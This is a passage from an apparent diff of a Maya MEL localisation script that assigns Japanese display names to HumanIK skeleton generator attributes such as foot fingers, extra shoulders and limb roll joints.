Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkySz", "左足内側の小指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerT", "左足内側の追加指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerTx", "左足内側の追加指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerTy", "左足内側の追加指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerTz", "左足内側の追加指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerR", "左足内側の追加指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerRx", "左足内側の追加指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerRy", "左足内側の追加指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerRz", "左足内側の追加指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerS", "左足内側の追加指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerSx", "左足内側の追加指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerSy", "左足内側の追加指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerSz", "左足内側の追加指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbT", "右足内側の親指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbTx", "右足内側の親指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbTy", "右足内側の親指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbTz", "右足内側の親指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbR", "右足内側の親指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbRx", "右足内側の親指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbRy", "右足内側の親指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbRz", "右足内側の親指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbS", "右足内側の親指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbSx", "右足内側の親指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbSy", "右足内側の親指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbSz", "右足内側の親指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexT", "右足内側の人差指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexTx", "右足内側の人差指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexTy", "右足内側の人差指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexTz", "右足内側の人差指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexR", "右足内側の人差指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexRx", "右足内側の人差指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexRy", "右足内側の人差指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexRz", "右足内側の人差指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexS", "右足内側の人差指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexSx", "右足内側の人差指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexSy", "右足内側の人差指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexSz", "右足内側の人差指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleT", "右足内側の中指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleTx", "右足内側の中指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleTy", "右足内側の中指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleTz", "右足内側の中指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleR", "右足内側の中指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleRx", "右足内側の中指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleRy", "右足内側の中指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleRz", "右足内側の中指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleS", "右足内側の中指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleSx", "右足内側の中指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleSy", "右足内側の中指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleSz", "右足内側の中指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingT", "右足内側の薬指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingTx", "右足内側の薬指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingTy", "右足内側の薬指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingTz", "右足内側の薬指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingR", "右足内側の薬指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingRx", "右足内側の薬指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingRy", "右足内側の薬指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingRz", "右足内側の薬指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingS", "右足内側の薬指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingSx", "右足内側の薬指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingSy", "右足内側の薬指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingSz", "右足内側の薬指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyT", "右足内側の小指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyTx", "右足内側の小指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyTy", "右足内側の小指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyTz", "右足内側の小指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyR", "右足内側の小指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyRx", "右足内側の小指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyRy", "右足内側の小指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyRz", "右足内側の小指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyS", "右足内側の小指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkySx", "右足内側の小指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkySy", "右足内側の小指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkySz", "右足内側の小指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerT", "右足内側の追加指 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerTx", "右足内側の追加指 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerTy", "右足内側の追加指 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerTz", "右足内側の追加指 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerR", "右足内側の追加指 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerRx", "右足内側の追加指 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerRy", "右足内側の追加指 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerRz", "右足内側の追加指 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerS", "右足内側の追加指 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerSx", "右足内側の追加指 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerSy", "右足内側の追加指 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerSz", "右足内側の追加指 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraT", "追加の左肩 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraTx", "追加の左肩 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraTy", "追加の左肩 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraTz", "追加の左肩 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraR", "追加の左肩 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraRx", "追加の左肩 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraRy", "追加の左肩 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraRz", "追加の左肩 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraS", "追加の左肩 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraSx", "追加の左肩 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraSy", "追加の左肩 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraSz", "追加の左肩 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraT", "追加の右肩 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraTx", "追加の右肩 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraTy", "追加の右肩 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraTz", "追加の右肩 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraR", "追加の右肩 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraRx", "追加の右肩 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraRy", "追加の右肩 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraRz", "追加の右肩 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraS", "追加の右肩 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraSx", "追加の右肩 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraSy", "追加の右肩 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraSz", "追加の右肩 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1T", "左大腿部ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Tx", "左大腿部ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Ty", "左大腿部ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Tz", "左大腿部ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1R", "左大腿部ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Rx", "左大腿部ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Ry", "左大腿部ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Rz", "左大腿部ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1S", "左大腿部ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Sx", "左大腿部ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Sy", "左大腿部ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Sz", "左大腿部ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1T", "左脚ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Tx", "左脚ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Ty", "左脚ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Tz", "左脚ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1R", "左脚ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Rx", "左脚ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Ry", "左脚ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Rz", "左脚ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1S", "左脚ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Sx", "左脚ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Sy", "左脚ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Sz", "左脚ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1T", "右大腿部ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Tx", "右大腿部ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Ty", "右大腿部ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Tz", "右大腿部ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1R", "右大腿部ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Rx", "右大腿部ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Ry", "右大腿部ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Rz", "右大腿部ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1S", "右大腿部ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Sx", "右大腿部ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Sy", "右大腿部ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Sz", "右大腿部ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1T", "右脚ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Tx", "右脚ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Ty", "右脚ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Tz", "右脚ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1R", "右脚ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Rx", "右脚ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Ry", "右脚ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Rz", "右脚ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1S", "右脚ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Sx", "右脚ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Sy", "右脚ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Sz", "右脚ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1T", "左腕ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Tx", "左腕ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Ty", "左腕ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Tz", "左腕ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1R", "左腕ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Rx", "左腕ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Ry", "左腕ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Rz", "左腕ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1S", "左腕ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Sx", "左腕ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Sy", "左腕ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Sz", "左腕ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1T", "左前腕ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Tx", "左前腕ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Ty", "左前腕ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Tz", "左前腕ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1R", "左前腕ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Rx", "左前腕ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Ry", "左前腕ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Rz", "左前腕ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1S", "左前腕ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Sx", "左前腕ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Sy", "左前腕ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Sz", "左前腕ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1T", "右腕ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Tx", "右腕ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Ty", "右腕ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Tz", "右腕ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1R", "右腕ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Rx", "右腕ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Ry", "右腕ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Rz", "右腕ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1S", "右腕ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Sx", "右腕ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Sy", "右腕ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Sz", "右腕ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1T", "右前腕ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Tx", "右前腕ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Ty", "右前腕ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Tz", "右前腕ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1R", "右前腕ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Rx", "右前腕ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Ry", "右前腕ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Rz", "右前腕ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1S", "右前腕ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Sx", "右前腕ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Sy", "右前腕ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Sz", "右前腕ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2T", "左大腿部ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Tx", "左大腿部ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Ty", "左大腿部ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Tz", "左大腿部ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2R", "左大腿部ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Rx", "左大腿部ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Ry", "左大腿部ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Rz", "左大腿部ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2S", "左大腿部ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Sx", "左大腿部ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Sy", "左大腿部ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Sz", "左大腿部ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2T", "左脚ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Tx", "左脚ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Ty", "左脚ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Tz", "左脚ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2R", "左脚ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Rx", "左脚ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Ry", "左脚ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Rz", "左脚ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2S", "左脚ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Sx", "左脚ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Sy", "左脚ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll2Sz", "左脚ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2T", "右大腿部ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Tx", "右大腿部ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Ty", "右大腿部ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Tz", "右大腿部ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2R", "右大腿部ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Rx", "右大腿部ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Ry", "右大腿部ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Rz", "右大腿部ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2S", "右大腿部ロール 2 S 可動部" ); 